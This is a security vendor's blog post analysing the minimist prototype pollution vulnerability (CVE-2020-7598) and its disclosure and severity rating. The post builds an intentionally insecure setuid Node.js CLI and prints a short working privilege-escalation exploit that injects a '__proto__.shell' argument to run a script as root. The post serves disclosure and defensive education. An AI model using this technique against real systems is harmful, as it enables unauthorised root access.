Exploring the minimist prototype pollution security vulnerability

| By Kirill Efimov

On March 11th, 2020, Snyk published a medium severity prototype pollution security vulnerability (CVE-2020-7598) affecting the minimist npm package. This is part of an ongoing research by the Snyk security research team which had previously uncovered similar vulnerabilities in other high-profile JavaScript libraries such as lodash and jQuery.

FAQ: What is a prototype pollution vulnerability?

This security vulnerability that manifests as prototype pollution, enables attackers to overwrite a JavaScript application object prototype. When that happens, properties that are controlled by the attacker can be injected into objects and then either lead to denial of service by triggering JavaScript exceptions, or tamper with the application source code to force the code path that the attacker injects.

The current research by the Snyk team also uncovered similar security vulnerabilities in other npm packages, some of which are just as high-profile as yargs-parser:

prototype pollution vulnerabilities discovered by Snyk's security research team: https://snyk.io/vuln?type=npm
prototype pollution vulnerabilities discovered by Snyk’s security research team: https://snyk.io/vuln?type=npm

The Snyk security research team follows responsible disclosure guidelines and has worked with the maintainer of minimist, yargs-parser, and others to communicate our findings, validate and verify them with the respective maintainers who confirmed and agreed with the vulnerable attack surface.

We would like to extend our gratitude to the maintainers who have responded quickly, and provided a quick turnaround for releasing fixes, as well as backporting security fixes to older versions — for example, minimist’s security fix for versions prior to 1.0.0, and yargs-parser security fix for versions prior to 13.1.2.

Is your project vulnerable to minimist or yargs-parser?

By submitting this form you consent to us emailing you occasionally about our products and services.
You can unsubscribe from emails at any time, and we will never pass your email onto third parties. Privacy Policy

Prototype pollution in CLI parsers

Please note that in this post, I’m not going to cover prototype pollution basics — there are enough articles already written about this. We also wrote a detailed post on our blog that provides a good intro to prototype pollution vulnerabilities basics.

What I plan to cover in this blog instead includes: 

  1. Explain the nature of command line (CLI) arguments parsers and their common usage today across the JavaScript ecosystem.
  2. Show how applications depending on these types of parsers can be vulnerable to prototype pollution attack vectors, providing real world examples of vulnerable packages.
  3. Explain the rationale behind the severity classification and the overall vulnerability application of these issues.

It’s a command line arguments library — isn’t it essentially somebody attacking themselves?

Both minimist and yargs-parser are JavaScript libraries built to parse arguments for command line Node.js applications. Let’s have a look at how a Node.js CLI can lead to local privilege escalation due to Improper Input Validation (CWE-20), a common vulnerability that has thousands of documented cases and CVEs.  

In the following example, we will build a system utility that allows non-root users to reboot a server. In this example, we use minimist for only one purpose — to show little help for the --help command line flag.

The following code shows our small Node.js CLI called u-reboot:

const argv = require('minimist')(process.argv.slice(2));
const cp = require('child_process');
if (argv.help) {
    console.log("My awesome reboot utility with no root access required");
} else {
    cp.execSync('reboot', {uid: 0});
}

To distribute this gorgeous tool in a more convenient way, we need to build it as a standalone binary. We can use pkg to do so:

npm install -g pkg
pkg u-reboot.js --target node10-linux-x64

And finally, to make it work we need to give the binary proper permissions:

chown root u-reboot
chmod 4555 u-reboot

4555 is a read and execute flag for all users and setuid flag. Read more about setuidhere but, in short, it allows to run the binary with permissions of the owner (root user in our case).

What we have now is a command line tool u-reboot which every user can invoke in order to reboot the server or workstation — but we don’t want to allow them to do anything else on the server.

How can such a command line application be abused now? Keep in mind that users have low-privilege on the server and they aren’t supposed to be able to execute other commands as root.

Exploiting Node.js CLI applications

The security vulnerability in minimist allows us to pollute the prototype of Object. And suddenly, u-reboot becomes vulnerable to a classical case of privilege escalation.

printf '#!/bin/shn id' > /tmp/exploit
chmod +x /tmp/exploit
u-reboot --__proto__.shell /tmp/exploit

See uid=0(root) in the output? Now, we can execute whichever command we want with root credentials by exploiting the  prototype pollution vulnerability in minimist, which the u-reboot CLI uses.

The attack becomes possible because child_peorccess.execSync has an options object with an optional shell property. If shell is empty execSync will use /bin/sh according to the documentation. But when we pollute all objects with shell property equal to /tmp/exploitexecSync uses our exploit as a shell.

This seems to be a local vulnerability, why are you referring to it as having a network attack vector?

This reminds me of the shellshock vulnerability, published in 2014. In the shellshock case, Bash shell can be tricked to execute arbitrary code injected via environment variables. That vulnerability sounds like a completely local one (who else can control environment variables?), but Bash shell is used too commonly: many web services use it to process requests, allowing an attacker to execute arbitrary commands. I recommend you to read this short explanation if you are not familiar with the vulnerability yet.

Is this vulnerability only about privilege escalation? The answer is no. Our research team was looking into different use cases of both minimist and yargs-parser and found a couple of interesting examples. I’m not going to explore each case in depth — these examples are to show that CLI argument parsers are not always used as you expect.

  1. Terminal in React — a React component to emulate terminal in a web browser. It uses minimist to parse CLI arguments of commands. You can find more examples of terminal emulators.
  2. Chat bot arguments often look like CLI arguments, right? We found a lot of examples when people actually use CLI argument parsers for that purpose: 1, 2, 3, 4, 5.
  3. apibone — a library which provides some interfaces for queryable services. It simply abstracts request and response objects for its defined functions. It uses yargs-parser to parse parts of HTTP queries.

More examples can be found if you look closely enough in open source GitHub repositories with different non-obvious use patterns.

Should these applications avoid using a library like minimist that is being used for CLI arguments parsing and re-purpose it to use it to create web and network-related applications? Maybe — but at Snyk, we believe that parsers are a highly responsible piece of code. Usually they are at the beginning of a data handling process and interact with user input directly.

Moreover, minimist is actually a general purpose arguments parsing library in the sense that it isn’t directly bound to something like Node.js’s process.argv but rather, you can use minimist with an array of strings and it will parse these as if that data was meant to parse just like CLI arguments.

Think about it — how many problems XML parsers created? Or Java deserialization mechanism? As a good example you probably remember bourne JSON parser, which was written by Eran Hammer, after he dealt with prototype pollution issues concerning hapi and joi. Bourne JSON parser was built for only one purpose — protect against __proto__ properties in a JSON payload. You can read more about it in his article.

How do we classify the severity for this vulnerability?

To describe the vulnerability we assigned the next CVSS vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L.

  1. Attack Vector — Network. We found usage of minimist and yargs-parser in multiple chatbots and web applications. Even if it is not best practice to use those libraries in such cases, we can’t ignore people actually using it.
  2. Attack Complexity — High. Prototype pollution vulnerabilities become a real threat only if an attacker finds a suitable gadget to perform remote code execution or other action they need to continue the attack. In our example, the “execSync” call plays the role of such a gadget.
  3. Privileges Required — None. An attacker needs to be able to send a string treated as CLI arguments. No special privileges required.
  4. User Interaction — None.
  5. Scope — Unchanged. I believe these two properties don’t require additional explanation.
  6. Confidentiality — Low.
  7. Integrity — Low.
  8. Availability — Low. All these three properties are low because of reasons described in #2: prototype pollution vulnerabilities should be treated in the context of an application.

This vulnerability is definitely not high severity (score of the CVSS is 5.6 — medium), but our research team clearly sees lots of different attack scenarios. And we believe the popularity of both libraries mentioned here deserve proper disclosure and fix.

What should I do next?

  • If you’re already using Snyk to monitor your applications and connected to your GitHub or Bitbucket repositories, you should have already received an automated Pull Request from Snyk to upgrade your projects to the fixed version of vulnerable libraries and their versions.
  • If you do not use Snyk, you can add your projects, as Snyk is free for open source, and import your projects from your code repositories into the Snyk dashboard.